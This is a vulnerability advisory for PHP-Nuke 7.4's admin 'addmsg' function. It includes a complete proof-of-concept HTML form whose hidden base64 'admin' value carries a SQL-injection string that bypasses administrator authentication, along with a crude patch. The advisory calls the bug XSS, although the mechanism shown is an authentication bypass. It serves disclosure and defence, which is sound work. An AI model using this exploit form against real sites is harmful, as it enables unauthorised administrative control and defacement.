[XSS] PHP-Nuke 7.4 AddMsg Bug

[Pierquinto Manco <mantra@xxxxxx>]

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*                       CODEBUG Labs
* Advisory #4
* Title: Addmsg Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
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                      Add Message Bug
 
- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to post gloabal home-page messages.
We can bypass the official php-nuke patch sending data 
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" 
action="http://www.sitewithphpnuke.com/admin.php";>
  <p>TITLE: 
    <input type="text" name="add_title">
    <br>
    CONTENT: 
    <textarea name="add_content" rows=10 cols=50></textarea>
    <br>
    DATE: 
    <input type="text" name="add_mdate">
    <br>
    E-MAIL: 
    <input type="text" name="add_expire">
    <br>
<input type="hidden" name="add_expire" value="0">
    <br>
<input type="hidden" name="add_active" value="1">
    <br>
<input type="hidden" name="add_view" value="1">
    <br>
        <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
    <br>
    <input type="hidden" name="add_radminsuper" value="1">
    <br>
    <input type="hidden" name="op" value="addmsg">
  </p>
  <p>
    <input type="submit" name="Submit" value="Post this message">
    <br>
  </p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['admin']) ) {
        die("Shit! Mantra wins =)");
}

if ( !empty($HTTP_POST_VARS['admin']) ) {
        die("Shit! Mantra wins =)");
}

-) Note
Previous patch isn't enough performant.
Try this one.
There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[admin] and $_GET[admin].
I'm going to post all this vulnerabilities on my site...
http://www.mantralab.org

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                http://www.mantralab.org
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